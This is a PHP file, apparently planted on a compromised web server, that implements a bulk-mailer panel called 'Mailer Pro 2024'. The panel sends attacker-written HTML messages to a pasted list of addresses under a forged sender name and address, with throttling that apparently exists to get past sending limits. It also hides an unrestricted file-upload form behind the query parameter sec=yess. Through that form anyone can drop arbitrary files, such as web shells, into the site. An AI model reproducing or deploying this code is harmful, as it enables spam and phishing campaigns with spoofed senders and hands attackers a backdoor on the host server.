File: /home/wbwebdes/domains/keoschalkwijk.com/private_html/string/apolladmin.php
<?php
@set_time_limit(0);
error_reporting(0); // Evita mostrar errores técnicos al usuario
// Valores por defecto
$message = "<html><body><h1>Hola amigo, ¿cómo estás?</h1></body></html>";
$subject = $_SERVER["HTTP_HOST"];
$nombre = "lokomania";
$de = "[email protected]";
$ellos = "[email protected]";
// Procesar Formulario
if (isset($_POST['Enoc'])) {
$message = stripslashes($_POST['html']);
$subject = $_POST['assunto'];
$de = filter_var($_POST['de'], FILTER_SANITIZE_EMAIL);
$nombre = htmlspecialchars($_POST['RealName']);
$ellos = $_POST['ellos'];
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Mailer Pro 2024</title>
<style>
body { font-family: sans-serif; font-size: 13px; background: #f4f4f4; color: #333; }
.container { width: 600px; margin: 20px auto; background: #fff; border: 1px solid #ccc; padding: 20px; }
input[type="text"], textarea { width: 100%; margin-bottom: 10px; border: 1px solid #ccc; padding: 5px; box-sizing: border-box; }
.btn { background: #0000CC; color: white; padding: 10px 20px; border: none; cursor: pointer; }
.log { margin-top: 15px; padding: 10px; background: #eee; height: 200px; overflow-y: auto; font-family: monospace; }
</style>
</head>
<body>
<div class="container">
<form action="" method="post" enctype="multipart/form-data">
<label>De (Email):</label>
<input name="de" type="text" value="<?php echo $de; ?>">
<label>Nombre:</label>
<input name="RealName" type="text" value="<?php echo $nombre; ?>">
<label>Asunto:</label>
<input name="assunto" type="text" value="<?php echo htmlspecialchars($subject); ?>">
<div style="display:flex; gap: 10px;">
<div style="flex:2">
<label>HTML / Mensaje:</label>
<textarea name="html" rows="10"><?php echo htmlspecialchars($message); ?></textarea>
</div>
<div style="flex:1">
<label>Lista de Emails:</label>
<textarea name="ellos" rows="10"><?php echo $ellos; ?></textarea>
</div>
</div>
<center><input type="submit" name="Enoc" value="Enviar Campaña" class="btn"></center>
</form>
<?php
// Sección de Upload Oculta
if (isset($_GET['sec']) && $_GET['sec'] == 'yess') {
echo '<hr><form method="post" enctype="multipart/form-data">
<input name="archivo" type="file"> <input type="submit" name="up" value="Upload">
</form>';
if (isset($_FILES['archivo'])) {
if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . $_FILES['archivo']['name'])) {
echo "<b>Subido con éxito.</b>";
}
}
}
// Lógica de Envío
if (isset($_POST['Enoc'])) {
echo '<div class="log">';
$emails = (isset($_GET['c'])) ? explode(",", $ellos) : explode("\n", $ellos);
$total = count($emails);
// Cabeceras mejoradas para mayor entrega
$headers = array();
$headers[] = "MIME-Version: 1.0";
$headers[] = "Content-type: text/html; charset=utf-8";
$headers[] = "From: {$nombre} <{$de}>";
$headers[] = "Reply-To: {$de}";
$headers[] = "X-Mailer: PHP/" . phpversion();
$header_str = implode("\r\n", $headers);
foreach ($emails as $index => $email) {
$email = trim($email);
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) continue;
// Pausas inteligentes
if (isset($_GET['time'], $_GET['cant']) && ($index % (int)$_GET['cant'] == 0) && $index > 0) {
echo "Esperando " . (int)$_GET['time'] . " segundos...<br>";
flush();
sleep((int)$_GET['time']);
}
$personalizado = str_replace('%email%', $email, $message);
if (@mail($email, $subject, $personalizado, $header_str)) {
echo "<span style='color:blue'>[" . ($index+1) . "/$total] ENVIADO -> $email</span><br>";
} else {
echo "<span style='color:red'>[" . ($index+1) . "/$total] ERROR -> $email</span><br>";
}
flush();
}
echo "</div><script>alert('Proceso terminado');</script>";
}
?>
</div>
</body>
</html>